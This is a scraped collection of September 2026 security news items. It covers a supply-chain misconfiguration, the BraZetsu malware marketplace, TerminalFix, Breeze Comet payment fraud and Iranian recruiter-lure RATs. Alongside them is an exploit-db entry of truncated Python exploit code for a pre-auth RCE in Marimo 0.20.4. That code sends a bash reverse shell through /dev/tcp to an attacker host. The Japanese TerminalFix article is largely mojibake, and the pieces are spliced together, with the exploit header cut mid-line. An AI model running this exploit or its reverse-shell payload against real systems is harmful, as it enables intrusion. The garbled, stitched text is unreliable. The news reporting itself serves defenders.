this misconfiguration, in which authentication vendor Clerk's llms.txt included a reference to an npm package named "clerk-next-fix-auth-protection" instead of referencing its scoped package, @clerk/eslint-plugin. An unknown threat actor registered a public package with the same name. The package contained code to transmit the installer's username, machine name, working directory, and timestamp to an external server. Clerk has since addressed the issue. AI Defenders Sound the AlarmA coalition of over 100 companies, including Anthropic, Google, OpenAI, Microsoft, Perplexity, and others, has published an open-leet calling for improvements to cybersecurity as AI continues to compress compress cyberattack timelines, as well as accelerate the speed and scale of cyber attacks, leaving defenders with an ever-shortening window to address security issues before they are exploited. The signatories noted that current approaches to cybersecurity are not equipped to deal with the incoming surge in AI-enabled attacks, and that threat actors can rely on AI tools to target longstanding vulnerabilities, excessive permissions, misconfigurations, insecure and unpatched software, weak authentication, and technical debt in legacy systems. "In the coming months, AI-enabled cyber attacks will become far more widespread and sophisticated as models around the world become increasingly capable," the letter warns. "The companies and public services our communities depend on – from hospitals to water treatment plants to the infrastructure that powers the internet – are at risk. Today’s AI advances are already giving defenders new ways to fix weaknesses that have accumulated for years. If we act decisively, we can use the defenders' window to make our digital world much more secure." Legacy Login Exposes 5K AccountsDropbox has disclosed that about 5,000 accounts were compromised last month, allowing threat actors to view and download content stored on the cloud-storage platform. The company told Reuters that it "identified unauthorized access affecting accounts linked to a Lenovo ID that did not have its two-factor authentication enabled," adding it terminated all sessions authenticated through a Lenovo ID. Lenovo said the issue is related to a "legacy integration" between Lenovo ID and Dropbox that "could be used to improperly authenticate certain Dropbox accounts." Kernel Protection by DefaultMicrosoft has announced that it will expand memory integrity protection across eligible devices starting October 2026, to help users benefit from "stronger kernel-level protection from sophisticated attacks by default with little or no additional configuration." The company continued: "This change reduces security complexity while helping you establish a stronger security baseline across your environment. Built on Virtualization-based Security (VBS), memory integrity helps protect critical parts of Windows from tampering. It forms a foundation for modern security innovations such as hotpatch updates that improve user experience and productivity, as well as protection." Pro-Ukraine Ransomware RebrandA new ransomware group named VantaCore has targeted at least seven Russian companies with a proprietary ransomware strain and demanding millions of dollars in ransom. The threat actor is assessed to be a rebranding of a known pro-Ukrainian group tracked as Thor, F6 said. Also put to use in the attacks are VantaCoreLoader, to distribute the ransomware and other malicious programs, VantaCoreRAT, a backdoor that can harvest information about infected systems and execute commands, and SnowKiller, which can terminate security software using the BYOVD technique. Sextortion Suspects Face LifeTwo Nigerian nationals, Adebola Festus Adekunle, 26, and Mudasiru Afeez Olawale, 24, have been extradited to the U.S. to face prosecution in two separate cases for the financially-motivated sextortion of minors that led to the death of minors in both the Northern District of Mississippi and the Middle District of North Carolina. Both of them face a maximum penalty of life in prison and mandatory minimum prison sentences, with the child exploitation resulting in death charge carrying a minimum penalty of 30 years in prison. Hardware-Backed Digital IDsGoogle said it's expanding the Android Ready SE initiative to bring together silicon vendors, device manufacturers, wallet developers, and government issuers to streamline compliance and scale certified hardware security across the mobile ecosystem. The development is seen as a way to scale high-assurance, tamper-resistant digital identity amid accelerating global demand for securely storing national electronic IDs (eIDs) and mobile driver licenses (mDLs) in hardware-backed mobile wallets. OAuth Access Outlives PasswordsThe FBI has warned that malicious cyber actors have been targeting prominent victims, their family members, and personal acquaintances by directly messaging personal accounts with malicious links leveraging a technique called OAuth consent phishing to gain access to their accounts. The activity has targeted government officials, media, and other publicly known personalities on a commercial messaging application (CMA), urging them to access a malicious link under the guise of a file-sharing service through an application under the malicious actor's control. "Previous phishing campaigns have also impersonated event coordinators and planners, who sent malicious links to targets under the guise of an invitation to an event and the need to verify the target's identity through a malicious application under the actor's control," the FBI said. Authorities did not provide any details about how many people may have been compromised by these attacks, or who is behind them. Electron Apps Hide a StealerTrojanized Electron desktop applications impersonating legitimate software are being used to distribute a Windows information stealer called RevStealer. The applications are shared via GitHub repositories and game-cheat-themed sites, including a fake Claude Opus 5 Free Desktop project. "It is delivered by an Electron loader that hides an AES-encrypted native payload inside an application resource, attempts to add the user's AppData folder to Microsoft Defender's exclusion list, and launches the payload with no visible window," Morphisec said. The malware also runs a series of anti-analysis and anti-VM checks before unpacking the main payload. "If the primary C2 is unreachable, RevStealer reads a fallback address from a smart contract on the Polygon blockchain, letting operators rotate infrastructure without rebuilding the malware," the company said. What's notable about the malware is that it's not designed for persistence. Rather, it prioritizes capturing as much data as possible in a single run, exfiltrates it in encrypted typed records, and then deletes itself. Trusted Tool, Rogue AccessThreat actors are weaponizing Faronics Deploy, a legitimate endpoint management platform, to run attacker-controlled PowerShell after phishing victims install the software. Huntress said it observed more than 457 endpoints encountering Faronics-related lures. "In observed cases, threat actors chained Faronics Deploy to ScreenConnect, blending malicious remote access activity into trusted software workflows," it said. "The delivery method varies between scripts, with observed examples using curl or MSHTA to retrieve additional content, while others invoke msiexec to install payloads hosted on attacker-controlled infrastructure. These scripts are subsequently used to install ScreenConnect, establishing an additional remote access mechanism on the compromised endpoint." ClickFix Goes Cross-PlatformCybersecurity researchers have described CRPx0 as a ClickFix-delivered ransomware-as-a-service (RaaS) operation that employs lures related to Windows and macOS update prompts and reCAPTCHA checks to trick victims into running a copied command. "On Windows, it starts a multi-stage DLL chain. On macOS, it downloads the Python payload directly," the Ransom-ISAC Research Team said. "The final payload is a cross-platform Python ransomware that exfiltrates data before encryption, encrypts files with AES-128-CBC via Fernet, wraps the per-victim key with an embedded RSA-4096 public key, attempts lateral movement, and drops ransom notes demanding Bitcoin or Monero payment within 48 hours." The RaaS program first appeared on June 7, 2026. As of late August, the group has advertised the operation on a clearnet site ("crpx0[.]su/v3.txt") as an offensive control panel to manage compromised machines, harvest files and credentials, monitor stolen cryptocurrency artifacts, run remote commands, and launch ransomware manually. One point is easy to miss: changing a password may not shut every door. A bad app approval or remote session can give attackers access without the password. Recovery should also end open sessions, remove unknown app access, and check remote tools. Better security settings are slowly becoming the default, which helps. But old account links, weak sign-in options, and trusted software still give attackers room to work. The safest rule this week is simple: check what already has access before adding anything new.
thehackernews.comSep 3, 2026extracted
BraZetsu Malware Turns Compromised Windows Hosts Into Criminal Marketplace Inventory
Cybersecurity researchers have disclosed details of a sophisticated Python-based Windows malware framework called BraZetsu that fuels an underground marketplace commercializing access to compromised hosts. "Unlike the standard infostealer model, BraZetsu is a comprehensive master toolkit that empowers Initial Access Brokers (IABs) by turning compromised systems into highly valuable commercial assets," Group-IB malware analysts Julio Guapo Menezes and Miguel Salazar said in a technical report. "The framework exhibits high operational maturity, utilizing a modular architecture and stealth techniques that allowed some samples to remain fully undetectable on VirusTotal at the time of analysis." BraZetsu is a portmanteau of "Brazil" and "Zetsu," a fictional character from the Japanese Manga series Naruto who is known to operate as a threat from the shadows. The naming is inspired by the fact that the initial access tool stealthily infiltrates target networks to conduct highly destructive follow-on attacks. The threat actors, tracked as Exilware, are believed to be native Portuguese speakers. The Singapore-headquartered company said BraZetsu is primarily scoped to target Iberian and Latin American targets in e-commerce, corporate, financial, industrial, law enforcement, and other environments. Evidence points to heavy use of generative artificial intelligence (AI) for not just malware development, but also backend data triage and target prioritization. The malware harbors capabilities to conduct deep reconnaissance and scan victim networks. For financial remittance files, such as those in the Centro Nacional de Automação Bancária (CNAB) format, a fixed-width text file standard used for electronic data interchange (EDI) of financial transactions between companies and banks in Brazil. It's also equipped to extract detailed browser histories to get an understanding of victim activity. BraZetsu forms the foundation for the Infected Marketplace (aka "Banco de Infects," "infect[.]online"), a platform where the threat actor monetizes initial access to compromised hosts for an initial deposit of roughly $5.80. The threat actor was first discovered on February 2, 2026, rapidly evolving its toolset from a basic remote access trojan to the AI-enhanced intelligence-gathering framework it is today. "By functioning as a service-enabled platform, the marketplace allows criminal customers to remotely execute secondary malicious payloads on purchased access, creating a persistent threat-multiplier effect across the regional ecosystem," the researchers said. "The marketplace functions as an access-as-a-service operation, in which other criminals can purchase entry points into victims' systems. Once a criminal purchases access through the marketplace, they can deploy malicious payloads via a specialized platform feature. This allows buyers to remotely execute their own malware or tools on the compromised systems without needing to establish the initial foothold themselves." The modular Python framework, per Group-IB, was first seen in early May 2026, and offers a way for the operators to catalog compromised systems as "tradable assets" for secondary threat actors on the marketplace. It supports the following functions - Scans infected hosts and uses generative AI to triage data and prioritize high-value targets for IABs Collects digital certificates, browser histories from Google Chrome, Microsoft Edge, Brave, Vivaldi, and Opera, and financial files while tracking user behavior through screen captures Attempts to locate corporate financial remittance files in the Brazilian Federation of Banks' CNAB format Relies on the WebSocket protocol to maintain persistent communication with the Infected Marketplace BraZetsu also shares some level of overlap with CNABHunter, a custom Python tool that systemically scans local and network directories for CNAB files, parses financial transaction records, and exfiltrates payment metadata to a dedicated HTTP-based infrastructure. Furthermore, CNABHunter polls a remote server for operator-issued orders. "When instructed, it automatically rewrites the original CNAB files by replacing legitimate payment information with attacker-controlled banking details, PIX keys, or barcodes," Group-IB said. "This workflow is specifically designed to facilitate financial fraud against corporate payment processes." On the other hand, BraZetsu is more geared towards initial access rather than an implement for financial fraud. Besides performing broad host reconnaissance and gathering CNAB-related files, it facilitates autonomous data collection, interactive, hands-on operations through remote shell command execution, and the deployment of additional worker modules. The core aspect that ties them together is the directory list used to locate CNAB-related files. It's suspected that the developers associated with BraZetsu incorporated the same functionality after seeing a "profitable opportunity." This assessment is based on the fact that BraZetsu was discovered in the wild a day after CNABHunter was publicly disclosed by a researcher named @johnk3r on X. Exactly how this malware is delivered to victims remains unclear at this stage. However, social engineering is the most likely culprit. The starting point is a loader that masquerades as Microsoft Edge and is downloaded from a distribution domain named "caixaentradas1inboxshop[.]site." An analysis of the files associated with the domain has uncovered Visual Basic Script (VBS) files responsible for downloading the next stage of the attack. Interestingly, the same domain has been used to deliver the Ousaban banking trojan. In May 2026, Fortinet FortiGuard Labs said it identified an email phishing attack targeting users in the Iberian Peninsula with an MSI downloader that deploys Ousaban. "The phishing PDF tricks victims into visiting a malicious webpage that scans the user's environment," Fortinet said in a report published in July. "If they are in Spain or Portugal, the webpage downloads a VBS file to kickstart the next part of the attack. The final payload is an EXE file that is dropped onto the victim’s computer and executed by the VBS script." The VBS file is designed to retrieve a steganographic PNG image that mimics a PDF document, which then extracts a ZIP file from the image and extracts from it the Ousaban DLL. The final payload is then run via DLL sideloading or process injection. Like in the case of Ousaban, BraZetsu uses a Pastebin URL to extract the C2 information. It also incorporates dedicated functions to obtain the user's active application window title and, if it contains common banking keywords; enumerate environment variables, network ports, and running processes; run shell commands; capture screenshots; fetch recently opened files; and locate common Enterprise Resource Planning (ERP) installation directories. In all, five distinct versions of the malware have been detected in the wild to date, with the earliest iteration dating back to February 9, 2026. The third generation is notable for narrowing its operational focus to corporate targets in Brazil. That said, the threat actor has been observed advertising access to two compromised hosts located in the U.S. around the same time. "BraZetsu functions as the primary malware framework supporting Exilware's Initial Access Broker (IAB) operation by establishing initial footholds and continuously replenishing the Infect Marketplace inventory," Group-IB said. A deeper hunt for artifacts matching the naming convention used by Exilware has also identified an IP address ("38.242.246[.]176") that has been previously tied to AgenteV2, a Python-based backdoor that has targeted Brazilian users via phishing lures impersonating judicial summons. The malware is engineered to stream a victim's screen to the attacker in real-time to facilitate financial fraud as soon as a banking portal is launched. Based on shared codebase, tradecraft, infrastructure, and functional capabilities, Group-IB has assessed with high confidence that both AgenteV2 and BraZetsu refer to the same initial access malware framework. "The malware’s AI-driven assessment capabilities automatically evaluate compromised machines’ commercial potential through hardware profiling, software environment analysis, and network infrastructure mapping, enabling Exilware to categorize automatically and price marketplace access based on victim value," the company said. "Recent versions show an exclusive focus on Brazilian infrastructure while maintaining multi-language capabilities for regional expansion, indicating deep operational knowledge of the domestic threat landscape and strategic positioning for broader Latin American operations targeting critical infrastructure and high-value commercial sectors." BraZetsu is far from the only malware that has targeted Latin America. In recent weeks, Dark Caracal, a cyber espionage group with ties to Lebanon's General Directorate of General Security, has been attributed to a targeted intrusion affecting a communications organization in Venezuela. The incident, which took place in June 2026, resulted in the deployment of a previously undocumented Go-based modular framework codenamed GoCaracal and an updated version of Bandook. GoCaracal appears in two variants: a lightweight implant that establishes initial access and drops additional payloads, and an extended build for sustained intelligence collection and interactive control. "The extended build also supports an Ethereum smart-contract fallback that allows operators to retrieve replacement command-and-control (C2) infrastructure without redeploying the malware," ArcticWolf said. "These findings show that Dark Caracal is modernizing the malware and infrastructure behind its established operations and tradecraft." The delivery method is consistent with a previous campaign documented by Kaspersky in which the threat actor used invoice-themed lures containing SVG attachments to distribute a backdoor called AsioGate, a successor to Poco RAT, via a Delphi loader in attacks targeting users and entities in Chile and Brazil. The findings also come as LevelBlue found that an operator linked to Blind Eagle had their own machine compromised by an information stealer, offering crucial insights into their inner workings. Blind Eagle is a Spanish-speaking hacking group active since at least 2018, primarily targeting government agencies, financial institutions, and corporate entities in Latin America, particularly in Colombia and Ecuador. "What we found on that machine provided a much broader picture of the operation: RAT-building tools, phishing templates, bulk-email software, infrastructure records, and evidence of repeated efforts to make malicious files harder for security software to detect," security researcher Serhii Melnyk said. "The machine appears to have been compromised by an unrelated commodity infostealer – the same general type of malware that Blind Eagle uses to steal information from victims. In other words, the trail began when an apparent attacker-side workstation was itself exposed by someone else's malware."
thehackernews.comSep 3, 2026extracted
「Terminal貼り付け」は危険! 「Windows+R」コピペの次に来た新型ClickFix
�\�[�V�����G���W�j�A�����O��@�uClickFix�v�̔h���^�uTerminalFix�v���L�����Ă���BMicrosoft�ɂ��ƁA���p�҂��U�̑���֗U�����ޓ_�͓��������A���̗U���悪�ς��A��Q�̐������̂��̂��]���^����ω������Ƃ����B�����N���Ă���̂��B ���̋L������������ł��B����o�^����ƑS�Ă������������܂��B �@Microsoft��2026�N8��28���i���n���ԁj�A�uClickFix�v�̔h���^�ƂȂ�U���L�����y�[���uTerminalFix�v���ϑ������ƌ��\�����BClickFix�́A�U�̃G���[��ʂ�U�̔F�؉�ʂ�\�����A���p�Ҏ��g�ɃR�}���h�����s�����ă}���E�F�A�Ɋ����������@���BTerminalFix�͂��̗U�����ς��邱�ƂŁA�P���̃}���E�F�A�z�z�ɂƂǂ܂�Ȃ����i�K�̐N���𐬗������Ă���B �@�]���^��ClickFix�́A���p�҂ɁuWindows�v�L�[�ƁuR�v�L�[���������A�u�t�@�C�������w�肵�Ď��s�v�_�C�A���O�ɃR�}���h��\��t��������BTerminalFix�́A�\��t������u�t�@�C�������w�肵�Ď��s�v�ł͂Ȃ�Windows Terminal�܂���PowerShell�ɕς���BMicrosoft�͂��̕ύX�̑_�����A�����s�ɂ킽�镡�G�ȃX�N���v�g�����s�����₷�����邽�߂��Ɛ�������B �@TerminalFix�Ŋϑ����ꂽ�U���́A���K��Web�T�C�g�������ċU��Cloudflare Turnstile�F�؉�ʂ�\������Ƃ��납��n�܂�B���p�҂���ʂ̎w���ɏ]���āu���ؗp�v�̃R�}���h��Terminal�ɓ\��t���Ď��s����ƁA�U���҂̃T�[�o����t�@�C�����_�E�����[�h����A�����̘A�������������B �@�]���^��ClickFix�����ގ�^�}���E�F�A�i�C���t�H�X�e�B�[���[�j��1�������ďI��邱�Ƃ����������̂ɑ��ATerminalFix�͂����Ŏ~�܂�Ȃ��B�ł́A���̍U���͍ŏI�I�ɉ���g�D�ɂ����炷�̂��BMicrosoft�����Ɋ댯���Ǝw�E����̂́A��������1���g�D�����ւ̐N�����ɕς��Ă��܂��d�g�݂��B �@TerminalFix�̊j�S�́A��������PC���u�U���҂��Г��l�b�g���[�N�֓��荞�ނ��߂̒��p�_�v�ɕς���_�ɂ���BMicrosoft�ɂ��ƁA���̍U���͍ŏI�i�K�ŁA�Г��̔C�ӂ̃V�X�e���֍U���҂̒ʐM��ʂ��Ǝ��̃��o�[�X�g���l���i�O�����̒ʐM���g���ĊO����������ڑ�����o�H�j���\�z����B �@�U���̘A���͕����̒i�K�ށBTerminal�Ń_�E�����[�h���ꂽZIP�t�@�C���ɂ́A���K�̏����t��Windows���s�t�@�C���ƁA���ӂ���DLL����������Ă���B���K�̎��s�t�@�C�����N������ƁA�����ꏊ�ɒu���ꂽ���ӂ���DLL���ǂݍ��܂��B���K�̃v���O�����Ɋ���`�ŕs���ȃR�[�h�����s�����邱�̎���́ADLL�T�C�h���[�f�B���O�ƌĂ��B�U���͐M�����ꂽ�����t���v���Z�X�̓����Ŏn�܂邽�߁A�v���Z�X�̐���������|����ɂ���h������蔲���₷���Ȃ�B �@���̒i�K�ł́A�U���҂̃h���C������PNG�摜���_�E�����[�h�����B�摜�̉�f�f�[�^�ɂ͎��s�t�@�C����DLL�̒f�Ђ����ߍ��܂�Ă���A��������o���ăf�B�X�N��ōč\������B�f�[�^���摜�ɉB����@�̓X�e�K�m�O���t�B�[�ƌĂ�A�ʐM�̓r���Ńt�@�C���̒��g����������Ă����s�t�@�C�����ƋC�t����ɂ����BDLL��2���̉摜�ɕ������ĉ^��A���o������Ɍ��摜�͍폜�����B �@����������������d�g�݂���d�ɗp�ӂ����B���W�X�g���̎������s�L�[�ƁA60�����ƂɎ��s�����^�X�N�X�P�W���[���[�̓o�^�ɂ��A�ċN������}���E�F�A������������B�}���E�F�A��u�����t�H���_�́A�V�X�e�������ƉB���t�@�C�������Ō����Ȃ��悤�ɂ����B �@������A�}���E�F�A�͎Г����̒�@�ɓ���B�h���C���̐M���W�̗A�h���C���Ǘ��҃O���[�v�̊m�F�A�uActive Directory�v�̗��p�҂�[���̒T���A�h���C���R���g���[���[��f�[�^�x�[�X�A�o�b�N�A�b�v�Ƃ������������Ƃɖ��t����ꂽ�T�[�o�ւ�ping���M�Ȃǂ����s����BMicrosoft�́A���̒�@���A��������PC�����l����W�I�̋߂��ɂ��邩�ǂ��������ɂ߂�_�������ƕ��͂��Ă���B �@�Ō�ɁA�U���҂�Python�̌����z�z�T�C�g���珐���t���̎��s�����������݁A�Ǝ��̒ʐM�v���O�����Ƒg�ݍ��킹�ă��o�[�X�g���l�����N������B�ʐM��TLS�ňÍ������ꂽWebSocket�Ƃ��ĊO���̃T�[�o�ڑ����邽�߁A���|����͒ʏ�̈Í���Web�ʐM�Ƌ�ʂ��ɂ����B �@TerminalFix�Ŏg����X�̋Z�p�́A�ڐV�������̂ł͂Ȃ��BDLL�T�C�h���[�f�B���O���X�e�K�m�O���t�B�[�����m�̎�����B�V�����̂́A���K�̏����t���o�C�i����Python�̌��������^�C���Ƃ����u���K�̂��́v�𑫏�ɂ��āA���̐M������Ȃ���N����i�߂�g�ݗ��ĕ��ɂ���B �@Windows Terminal�ւ̗U�����������z���B�]���^���g���u�t�@�C�������w�肵�Ď��s�v��1�s�̃R�}���h���������Ȃ����ATerminal�Ȃ畡���s�̃X�N���v�g�����̂܂��s�ł���BMicrosoft�ɂ��ƁA���̗U����̕ύX���A���G�ȃX�N���v�g���Ō�܂Ŏ��s�����鐬�����������グ�Ă���B �@�����ŏd�v�Ȃ̂́AMicrosoft���ϑ������̂͐N���ƒ�@�A�ʐM�o�H�̍\�z�܂łł���A���̐�̍s���͊m�F���Ă��Ȃ��Ɩ������Ă���_���BMicrosoft�́A���o�[�X�g���l���ƒ�@�̑g�ݍ��킹���A��������PC����Г��̕ʂ̃V�X�e���֓��B����y��ɂȂ蓾��Ǝw�E����B��ʂɁA���̎�̐N���̌�ɂ́A�U���҂����ƂŌ������i��f�[�^�ގ�A�����T���E�F�A�W�J�ɐi�ޒi�K�������B������TerminalFix�̕��͔͈͂ł���炪���s���ꂽ�����͊ϑ�����Ă��Ȃ��B �@Microsoft�́ATerminalFix�ւ̑�Ƃ��āA�W�����[�U�[��PowerShell���s��AppLocker��O���[�v�|���V�[�Ő������邱�ƁA�Ɩ��ŕs�v�ȏꍇ�́u�t�@�C�������w�肵�Ď��s�v�̗��p�𐧌����邱�ƁA�����ċU��CAPTCHA��ʂŃR�}���h�̓\��t���𑣂�����𗘗p�҂Ɏ��m���邱�Ƃ�������B�����āAWindows Terminal�ɂ́A�\��t���悤�Ƃ���e�L�X�g�������s�ɂ킽��ꍇ�ɗ��p�҂x������ݒ肪����BTerminalFix�������s�X�N���v�g�̎��s��_���ȏ�A���̌x���͓�����ł̋C�t���ɂȂ���B Copyright © ITmedia, Inc. All Rights Reserved.
itmedia.co.jpSep 2, 2026extracted
[webapps] Marimo 0.20.4 - RCE
Title: Marimo 0.20.4 - RCE Date: August 2nd, 2026 Exploit Author: Jason Bernier Vendor Homepage: https://marimo.io/ Software Link: https://github.com/marimo-team/marimo Version: str: """Send command to target and receive output""" try: if not conn: print("[-] No active connection") return "" conn.sendall(command.encode() + b"\n") time.sleep(1) output = b"" while True: try: data = conn.recv(4096) if not data: break output += data except socket.timeout: break return output.decode('utf-8', errors='ignore') except Exception as e: print(f"[-] Error sending command: {str(e)}") return "" def exploit(target_url: str, command: str = None) -> None: """ Exploit CVE-2026-39987 to execute commands via WebSocket terminal. Args: target_url: Target URL (e.g., http://localhost:2718) command: Command to execute (default: id && whoami && hostname) """ # Normalize URL if not target_url.startswith(('http://', 'https://')): target_url = f"http://{target_url}" parsed = urllib.parse.urlparse(target_url) if parsed.scheme not in ['http', 'https']: print(f"[-] Invalid scheme: {parsed.scheme}") sys.exit(1) # Determine protocol based on port if parsed.port == 443 or parsed.scheme == 'https': ws_scheme = 'wss' else: ws_scheme = 'ws' # Build WebSocket URL ws_path = parsed.path.rstrip('/') if ws_path.endswith('/terminal/ws'): ws_path = ws_path.replace('/terminal/ws', '/terminal/ws') elif '/terminal/ws' not in ws_path: ws_path = f"{ws_path}/terminal/ws" ws_url = f"{ws_scheme}://{parsed.netloc}{ws_path}" try: print(f"[+] Connecting to {ws_url}...") # Disable SSL verification for self-signed certs ws = websocket.create_connection(ws_url, sslopt={"cert_reqs": ssl.CERT_NONE}) # Wait for initial output to drain try: while True: ws.settimeout(1) ws.recv() except: pass # Execute command if command: print(f"[+] Executing reverse shell!") ws.send(command + "\n") time.sleep(2) # Get output output = "" try: while True: ws.settimeout(1) chunk = ws.recv() output += chunk except: pass print(f"[+] Check your netcat listener on port {LPORT}!") ws.close() except Exception as e: print(f"[-] Error: {str(e)}") sys.exit(1) def main(): """Parse arguments and execute exploit.""" parser = argparse.ArgumentParser( description='CVE-2026-39987 Exploit for Marimo Pre-Auth RCE', ) parser.add_argument( '-u', '--url', required=True, help='Target URL (e.g., http://localhost:2718)' ) parser.add_argument( '-c', '--command', help=' Command to execute (default: id && whoami && hostname)' ) parser.add_argument( '--lhost', help='Local host for reverse shell (requires --lport)' ) parser.add_argument( '--lport', type=int, help='Local port for reverse shell (requires --lhost)' ) args = parser.parse_args() # Validate arguments if (args.lhost and not args.lport) or (args.lport and not args.lhost): print("[-] Both --lhost and --lport must be provided together") sys.exit(1) # Set up reverse shell if specified if args.lhost and args.lport: global LHOST, LPORT LHOST = args.lhost LPORT = args.lport # Generate reverse shell payload payload = ( f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1 &' && id" ) # Send payload directly exploit(args.url, payload) else: # Default command if none specified default_cmd = "id && whoami && hostname" cmd = args.command or default_cmd exploit(args.url, cmd) if name == "main": main()
exploit-db.comSep 2, 2026extracted
Breeze Comet Executes Hundreds of Fraudulent Transactions via Brazilian Payment Systems
Brazilian financial services, retail, and e-commerce organizations have become the target of a financially motivated threat actor dubbed Breeze Comet (formerly UNC5669) since 2024. Google Threat Intelligence Group (GTIG) and Mandiant teams described the threat actor as "specializing in manipulating payment systems and banking software in Brazil to conduct fraudulent transfers." The adversary is said to have successfully carried out at least one heist of assets worth tens of thousands of U.S. dollars. The activity overlaps with threat activity clusters tracked by CrowdStrike and Trend Micro under the monikers Plump Spider and SHADOW-AETHER-064. According to CrowdStrike, the e-crime group is operating out of Brazil and has been active since September 2023, monetizing their intrusions by gaining unauthorized access to internal payment systems and carrying out fraudulent transactions. Initial access to financial entities and companies offering financial services is accomplished via password spraying and voice calls impersonating IT support teams to persuade targets to install Remote Monitoring and Management (RMM) tools such as AnyDesk. In one case highlighted by Axur in November 2025, the threat actors masqueraded as IT support personnel over a WhatsApp conversation and guided the victim to install a PowerShell reconnaissance script under the pretext of updating a corporate application. Alternatively, the group has targeted vulnerable JBoss AS servers to deploy web shells, which are then used to deliver additional tooling, including Chisel and other proxy utilities, for follow-on exploitation. The threat actor's primary targets are organizations with permission to conduct transactions through banking software, APIs, and payment systems such as Pix, STR, and Boleto. This covers a wide range of entities like banks, payment processors, retailers, and exchanges, not to mention fintech and banking software providers. "Breeze Comet tactics have evolved over time to leverage a customized malware suite and compromised, trusted websites to facilitate initial access, command-and-control (C2), and to interact with financial software and payment APIs," Google said. "Breeze Comet's operational infrastructure may also indicate intent to expand their infrastructure footprint to other countries in Latin America and Africa." To achieve its goals, however, it must meet four requirements: have access to the National Financial System Network (RSFN) through an entity that already has this access; access to mTLS credentials that allow sending authenticated payloads with transactional orders to Pix or STR; access to several accounts in the targeted organizations' Active Directory and cloud environments; and possess an understanding of an organization's transfer processing procedures, network controls, fintech integrations, and anti-fraud systems. Some of the other notable tactics are listed below - Using compromised Brazilian small government websites to stage RMM tools, infostealers dressed up as legitimate tax or receipt documents, and backdoors like XWorm, as well as using them as C2 endpoints to bypass reputation filters and avoid detection. A similar modus operandi has been replicated across Nigeria, Paraguay, Ghana, and Venezuela, indicating a growing targeting focus. Connecting rogue hardware devices directly into retail store networks as a means to establish direct footholds and then move laterally to internal systems, followed by downloading the Netcat utility and custom scripts to retrieve post-exploitation frameworks. Using Impacket, ADRecon, and ADVipscan, and the custom LDAP brute-forcing utility REALBREEZE to conduct internal reconnaissance and escalate privileges by targeting development and cloud environments. Moving laterally by initiating unauthorized Remote Desktop Protocol (RDP) sessions and executing commands via SMB network file shares. This step also involves the deployment of COBALTSPIN, a Rust-based routing malware that operates as a network tunneler to communicate with and maintain persistent network access to financial API infrastructure. "By establishing a reverse SOCKS5 proxy over a WebSocket connection, COBALTSPIN routes network traffic securely back and forth between the C2 and internal targets, enabling lateral movement directly through boundary firewalls without requiring built-in persistence mechanisms that might trigger detection," Google said. Breeze Comet's persistence mechanisms have evolved from dropping commercial RMM tools in 2024 to deploying malicious Kubernetes pods a year later and stealing cloud secrets by exfiltrating them to public-facing notepad websites like "dontpad[.]com." Since then, the threat actor has also been observed making use of multiple custom backdoors as a redundant access method and expanding their foothold - LIGHTPAINT, a Java-based backdoor that's used to install the legitimate SoftEther VPN and configure it for automated persistence MILDFROST, a passive Java JAR backdoor that's used to establish covert DNS tunnels KICKPLATE, a Nim-based backdoor that impersonates Windows Update Health Tools and is used to deliver secondary payloads and runs commands to control SOCKS5 tunnelers BOATBEAM, a Golang-based backdoor that initiates a fake IIS HTTPS server on port 443 To make sure these persistence mechanisms are not detected and removed, the threat actor executes PowerShell commands to disable Windows Defender's real-time monitoring on the compromised hosts. In the final stage, COBALTSPIN and compromised privileged accounts are used to access core financial applications and execute hundreds of fraudulent transactions. Once complete, event logs are cleared to minimize the forensic footprint and conceal any API interactions with financial software and payment systems. Any directory created during the course of the intrusion is also deleted. The presence of verbose explanatory comments and standardized execution headers indicates the use of a large language model (LLM) to compress the malware development lifecycle. A previous analysis from Trend Micro in May 2026 also found some scripts to include "descriptions of self-reasoning and autonomous decision-making processes." "While the Latin American cybercrime ecosystem has historically been defined by client-side, high-volume retail fraud, Breeze Comet's campaigns represent a notable shift that may serve as a model for future financially motivated threats against organizations in this region," Google said. "This transition from opportunistic retail banking fraud to direct intrusions into the core financial switch and instant payment infrastructure is notable not just for this shift in targeting, but also the capabilities of the threat actor. As threat groups increasingly leverage LLMs to streamline routine tradecraft, defenders must anticipate shorter adversary turnaround times and heightened pressure on interconnected financial ecosystems."
thehackernews.comSep 1, 2026extracted
Iranian Hackers Pose as Recruiters to Deliver Cross-Platform RATs Through Coding Tests
The Iranian Nimbus Manticore hacking group has been attributed to two previously undocumented malware families that highlight the continued evolution of its toolset and likely expand its targeting footprint to infect Linux and Apple macOS systems using cross-platform remote access trojans (RATs) developed using Node.js and JavaScript. Russian cybersecurity company Kaspersky is tracking the malware strains under the names NodeRabbit and PollCat. The first sample of NodeRabbit was discovered on a system in Afghanistan, with subsequent sightings on two distinct machines located in Egypt and Ethiopia. "Its operators deliver [NodeRabbit] through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives," Kaspersky security researcher Omar Amin said. "Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives." While Nimbus Manticore has historically employed malware written in C, C++, and Go, and relied on DLL search-order hijacking techniques to deploy them, the latest findings mark the threat actor's foray into cross-platform tools to accomplish its goals. The development also comes amid a rapid expansion of the hacking group's malware arsenal in recent months, including - A Windows backdoor called NightLedger Two custom WebSocket tunnelers, BridgeHead and ArcBridge A reverse SSH tunneling tool A backdoor that shares overlaps with TWOSTROKE The starting point of the suspicious activity observed in the Afghanistan-based system starts with a ZIP file ("Front-Technical-Challenge.zip") hosted on AWS that's assessed to have been delivered as part of a job opportunity for an engineering role. The threat actor is said to have masqueraded as a talent acquisition specialist at a major technology company to approach a software engineer and invited them to complete a technical assignment. It's worth noting that Nimbus Manticore is also tracked under the moniker Iranian Dream Job for its use of recruitment-themed lures to trick prospective targets into infecting their own computers, a tactic long adopted by the North Korea-linked Lazarus Group. The archive contains source code for a project management tool called Taskflow and instructs candidates to "find and fix all bugs in the frontend code" as part of an "engineering challenge" within three hours and without relying on artificial intelligence (AI)-assisted tools. The instructions specifically ask the candidates to refrain from modifying the server component of the application ("server.js"), claiming it's "bug-free and functions correctly." However, it's in this file that the malicious code is embedded. "The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0," Kaspersky said. "The attackers bundled the package directly in the challenge task archive's node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process." The implant in question is NodeRabbit, which communicates with one of three Azure-hosted command-and-control (C2) addresses ("plugplay.azurewebsites[.]net," "rgbteller.azurewebsites[.]net," and 